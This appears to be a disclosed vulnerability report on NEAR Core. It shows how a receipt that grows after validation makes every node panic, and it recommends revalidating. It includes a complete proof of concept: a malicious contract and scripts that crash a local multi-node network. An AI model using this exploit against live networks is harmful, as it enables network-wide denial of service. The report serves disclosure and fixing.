Near Disclosed Report

https://github.com/near/nearcore

In NEAR Core, Action Receipts are validated to ensure they never exceed max_receipt_size. This validation occurs by calling the validate_receipt function in three places within the file runtime/runtime/src/lib.rs:

1. Function apply_action_receipt (Line 644)
2. Function process_delayed_receipts (Line 1821)
3. Function process_incoming_receipts (Line 1886)

In the first case, the apply_action_receipt function validates the receipt passed in, along with all other receipts generated when processing each of its actions. If validation returns an error, it is caught and propagated as a NewReceiptValidationError.

...
if let Err(e) = new_result.new_receipts.iter().try_for_each(|receipt| {
    validate_receipt(
        &apply_state.config.wasm_config.limit_config,
        receipt,
        apply_state.current_protocol_version,
    )
}) {
    new_result.result = Err(ActionErrorKind::NewReceiptValidationError(e).into());
}
...

In the second case, the process_delayed_receipts function validates all delayed receipts in the processing state. If validation returns an error, it catches the error and returns a StorageError::StorageInconsistentState:

...
validate_receipt(
    &processing_state.apply_state.config.wasm_config.limit_config,
    &receipt,
    protocol_version,
)
.map_err(|e| {
    StorageError::StorageInconsistentState(format!(
        "Delayed receipt {:?} in the state is invalid: {}",
        receipt, e
    ))
})?;
...

Lastly, in the third case, the process_incoming_receipts function validates all incoming receipts passed to the node. If a validation error occurs, the function catches it and returns a RuntimeError::ReceiptValidationError:

...
validate_receipt(
    &processing_state.apply_state.config.wasm_config.limit_config,
    receipt,
    protocol_version,
)
.map_err(RuntimeError::ReceiptValidationError)?;
...

Out of the three errors returned by these functions (when a validation error occurs), one causes a panic when propagated and processed by the process_state_update function in chain/chain/src/runtime/mod.rs:

...
let apply_result = self
    .runtime
    .apply(
        trie,
        &validator_accounts_update,
        &apply_state,
        receipts,
        transactions,
        self.epoch_manager.as_ref(),
        state_patch,
    )
    .map_err(|e| match e {
        RuntimeError::InvalidTxError(err) => {
            tracing::warn!("Invalid tx {:?}", err);
            Error::InvalidTransactions
        }
        // TODO(#2152): process gracefully
        RuntimeError::BalanceMismatchError(e) => panic!("{}", e),
        // TODO(#2152): process gracefully
        RuntimeError::UnexpectedIntegerOverflow(reason) => {
            panic!("RuntimeError::UnexpectedIntegerOverflow {reason}")
        }
        RuntimeError::StorageError(e) => Error::StorageError(e),
        // TODO(#2152): process gracefully
        RuntimeError::ReceiptValidationError(e) => panic!("{}", e),
        RuntimeError::ValidatorError(e) => e.into(),
    })?;
...

As shown in the snippet above, RuntimeError::ReceiptValidationError causes a panic, stopping the node.

To trigger this error, we rely on the following finding: after receipt validation in the apply_action_receipt function, the receipt size can increase under certain conditions. If the processed receipt has one or more output_data_receivers, and the result of applying it is a ReturnData::ReceiptIndex equal to the index of a new receipt generated during processing, then the output_data_receivers of the new receipt are extended with those of the main receipt.

...
if !action_receipt.output_data_receivers.is_empty() {
    if let Ok(ReturnData::ReceiptIndex(receipt_index)) = result.result {
        // Modifying a new receipt instead of sending data
        match result
            .new_receipts
            .get_mut(receipt_index as usize)
            .expect("the receipt for the given receipt index should exist")
            .receipt_mut()
        {
            ReceiptEnum::Action(ref mut new_action_receipt)
            | ReceiptEnum::PromiseYield(ref mut new_action_receipt) => new_action_receipt
                .output_data_receivers
                .extend_from_slice(&action_receipt.output_data_receivers),
            _ => unreachable!("the receipt should be an action receipt"),
        }
    } else {
...

In summary, one of the new receipts generated when processing the main receipt, which was already validated to be within the correct size, can later increase in size. When processed as an incoming_receipt by nodes in the network, it will cause them to panic, shutting down the entire network.

An attacker could exploit this by deploying a malicious contract with a function that creates a maximum-sized receipt. This is feasible because FunctionCallActions include an args field, a byte vector of arbitrary size. By passing a specific value, the receipt size can reach the 4,194,304-byte limit. A single call to this function could lead to a network-wide shutdown.

Even worse, since the contract is already deployed on the network, the attacker could set up a script that calls the contract periodically (e.g., every minute), making any recovery efforts by node operators futile.

Additionally, increasing/decreasing max_receipt_size would not mitigate this issue, as the attacker can parameterize the malicious function to accept a parameter for the desired receipt size. As you can see in our PoC, the size of args is parameterized so, as the malicious contract is already deployed, it can be used to crash nodes no matter what the maximum receipt size is.

To test this issue, we took a realistic approach. Instead of writing a test in the test framework, we used nearup to spin up a local network with 9 nodes and 9 shards. This confirmed that the exploit caused all nodes to crash.

We have included a diff file below to apply to the nearcore repository at tag 2.3.0. This file contains the malicious contract to simulate the vulnerability and a test-exploit.sh script to set up a 9-node, 9-shard local network using nearup and near-cli, and then execute the exploit.

The steps needed are:

1. Build the malicious contract with target wasm32-unknown-unknown.
2. Deploy the generated .wasm file from step 1 to an account on one shard. The contract is designed to call a function in an account on the other shard.
3. Call the exploit_with_big_action_receipt function from the malicious contract with args_size of 4194104. This is slightly less than the max_receipt_size but it is necessary since there are other fields inside the receipt besides the arguments.
4. Observe the test completing successfully and all 9 nodes crashing.

You can run check-logs-for-panic.sh after to see that each node crashes because of receipts that exceed the limit.

Recommendation

In this report we've highlighted general class of bugs to watch out for. Data structures should not be modified after they have been validated. The solution to this would be to ensure the immutability of elements after they have been validated. However, an easier fix would be to revalidate each element that needs to be changed after the initial validation.

In this case, the least intrusive (though sub-optimal) solution is to revalidate the new receipt after extending its output_data_receivers to ensure it does not exceed the maximum size.

Proof of Concept

The patch below should be applied to commit cf41c79a83f2dbc5517c7dc1e51d864b24240c77 (tag 2.3.0).

After this has been done run the following commands:

$ cargo build --profile dev-release
$ ./text-exploit.sh
$ ./check-logs-for-panic.sh

Please make sure you use the JavaScript version of near-cli (not near-cli-rs) as the script has not been written to use the Rust version.

The script was run with nearup version 1.16.0 and near-cli version 4.0.13.

diff --git a/check-logs-for-panic.sh b/check-logs-for-panic.sh
new file mode 100755
index 000000000..35ca891f5
--- /dev/null
+++ b/check-logs-for-panic.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+
+for i in 0 1 2 3 4 5 6 7 8; do
+   echo "*** Node $i ****";
+   cat ~/.nearup/logs/localnet/node$i.log | grep -A 1 'panicked'
+   echo
+   echo
+done
diff --git a/runtime/near-test-contracts/test-contract-rs/build-and-deploy.sh b/runtime/near-test-contracts/test-contract-rs/build-and-deploy.sh
new file mode 100755
index 000000000..54ea74cf3
--- /dev/null
+++ b/runtime/near-test-contracts/test-contract-rs/build-and-deploy.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+cargo build --features latest_protocol --target wasm32-unknown-unknown --profile release && \
+  cp -v ./target/wasm32-unknown-unknown/release/test_contract_rs.wasm ../res
diff --git a/runtime/near-test-contracts/test-contract-rs/src/lib.rs b/runtime/near-test-contracts/test-contract-rs/src/lib.rs
index cafce198a..77d10bdfc 100644
--- a/runtime/near-test-contracts/test-contract-rs/src/lib.rs
+++ b/runtime/near-test-contracts/test-contract-rs/src/lib.rs
@@ -1647,3 +1647,79 @@ pub unsafe fn generate_large_receipt() {
         total_size_to_send = total_size_to_send.checked_sub(args_size).unwrap();
     }
 }
+
+#[no_mangle]
+pub unsafe fn exploit_with_big_action_receipt() {
+    current_account_id(0);
+    let current_account = vec![0u8; register_len(0) as usize];
+    read_register(0, current_account.as_ptr() as _);
+
+    predecessor_account_id(1);
+    let pred_account = vec![0u8; register_len(1) as usize];
+    read_register(1, pred_account.as_ptr() as u64);
+
+    input(0);
+    let args = vec![0u8; register_len(0) as usize];
+    read_register(0, args.as_ptr() as u64);
+
+    let method_name = b"action_receipt_max_size";
+
+    let amount = 0u128;
+    let gas = prepaid_gas() - used_gas();
+    let promise_id = promise_create(
+        current_account.len() as _,
+        current_account.as_ptr() as _,
+        method_name.len() as _,
+        method_name.as_ptr() as _,
+        args.len() as _,
+        args.as_ptr() as _,
+        &amount as *const u128 as *const u64 as u64,
+        gas/2,
+    );
+
+    let method_name = b"noop";
+    promise_then(
+        promise_id,
+        pred_account.len() as _,
+        pred_account.as_ptr() as _,
+        method_name.len() as _,
+        method_name.as_ptr() as _,
+        args.len() as _,
+        args.as_ptr() as _,
+        &amount as *const u128 as *const u64 as u64,
+        gas/5,
+    );
+
+}
+
+#[no_mangle]
+pub unsafe fn action_receipt_max_size() {
+    current_account_id(0);
+    let current_account = vec![0u8; register_len(0) as usize];
+    read_register(0, current_account.as_ptr() as _);
+
+    input(0);
+    let data = vec![0u8; register_len(0) as usize];
+    read_register(0, data.as_ptr() as u64);
+
+    let input_args: serde_json::Value = serde_json::from_slice(&data).unwrap();
+    let args_size = input_args["args_size"].as_u64().unwrap();
+
+    let args = vec![0u8; args_size as usize];
+    let method_name = b"callback";
+
+    let amount = 0u128;
+    let gas = prepaid_gas() - used_gas();
+    let promise_id = promise_create(
+        current_account.len() as _,
+        current_account.as_ptr() as _,
+        method_name.len() as _,
+        method_name.as_ptr() as _,
+        args.len() as _,
+        args.as_ptr() as _,
+        &amount as *const u128 as *const u64 as u64,
+        gas/2,
+    );
+
+    promise_return(promise_id);
+}
\ No newline at end of file
diff --git a/test-exploit.sh b/test-exploit.sh
new file mode 100755
index 000000000..80d92fe34
--- /dev/null
+++ b/test-exploit.sh
@@ -0,0 +1,89 @@
+#!/bin/bash
+
+#
+# Warning: this script requires the JavaScript `near-cli` to be installed, not the Rust version.
+# https://github.com/near/near-cli (not https://github.com/near/near-cli-rs)
+#
+
+trap cleanup SIGINT SIGHUP SIGKILL
+
+cleanup() {
+  echo
+  echo "[Cleaning up]"
+  echo
+  nearup stop
+  rm -f "$PROCESS_FILE" "$PORTS_FILE"
+  exit 1
+}
+
+
+(pushd ./runtime/near-test-contracts/test-contract-rs; ./build-and-deploy.sh)
+
+## Cleanup previous runs
+nearup stop
+rm -f $HOME/.nearup/logs/localnet/node*.log
+# pkill -9 neard
+
+# Spin up a network with two shards and two nodes, so I assume each node will be in a different shard
+nearup run --verbose --override --num-nodes 9 --num-shards 9 --binary-path ./target/dev-release localnet
+# Copy each validator key to the near-credentials folder to be able of calling the network on behalf of them
+
+NODES="0 1 2 3 4 5 6 7 8"
+mkdir -p ~/.near-credentials/custom
+
+for i in $NODES; do
+  cp ~/.near/localnet/node$i/validator_key.json ~/.near-credentials/custom/node$i.json
+done
+
+echo "[+] Sleeping 7s..."
+sleep 7
+
+PROCESS_FILE=$(mktemp processes.XXXXX)
+
+pgrep -l neard > "$PROCESS_FILE"
+
+PORTS_FILE=$(mktemp ports.XXXXX)
+for i in $NODES; do
+  echo "node$i: $(lsof -i:303$i | grep neard | awk '{print $2}')" >> "$PORTS_FILE"
+done
+
+# Use the RPC of node 1
+export NEAR_NODE_URL="http://127.0.0.1:3031"
+export NEAR_CUSTOM_RPC="$NEAR_NODE_URL"
+# Deploy our contract in node 1 (should be also shard 1)
+NEAR_ENV=custom near deploy node1 "./runtime/near-test-contracts/res/test_contract_rs.wasm"
+# Use the RPC of node 0
+export NEAR_NODE_URL="http://127.0.0.1:3030"
+export NEAR_CUSTOM_RPC="$NEAR_NODE_URL"
+# Create account receiver_id.node0 in node 0 (should be also shard 0)
+NEAR_ENV=custom near create-account receiver_id.node0 --masterAccount node0
+# Use the RPC of node 1
+export NEAR_NODE_URL="http://127.0.0.1:3031"
+export NEAR_CUSTOM_RPC="$NEAR_NODE_URL"
+# Call 'exploit_with_big_action_receipt' in the contract deployed in te account of node 1.
+# As the call makes another call to account receiver_id.node0, I assume it will be treated
+# as an incoming receipt in shard 0.
+
+ARGS_SIZE="4194141" # Change this value to handle different max_data_size
+
+NEAR_ENV=custom near call node1 exploit_with_big_action_receipt "{\"args_size\": $ARGS_SIZE }" --useAccount node1 --gas 300000000000000 || { echo "[+] Crashed!";}
+
+echo "[+] Sleeping 5s..."
+sleep 5
+
+echo "-------"
+echo "*** Processes running neard before crash ***"
+cat "$PROCESS_FILE"
+
+echo "*** Processes that were running on port 303x before crash ***"
+cat "$PORTS_FILE"
+
+echo "-------"
+echo "*** Processes running neard after crash ***"
+pgrep -l neard
+
+cleanup
+
+echo "**************************************************************************"
+echo "*** See more information in logs ~/.nearup/logs/localnet/node[X].log   ***"
+echo "**************************************************************************"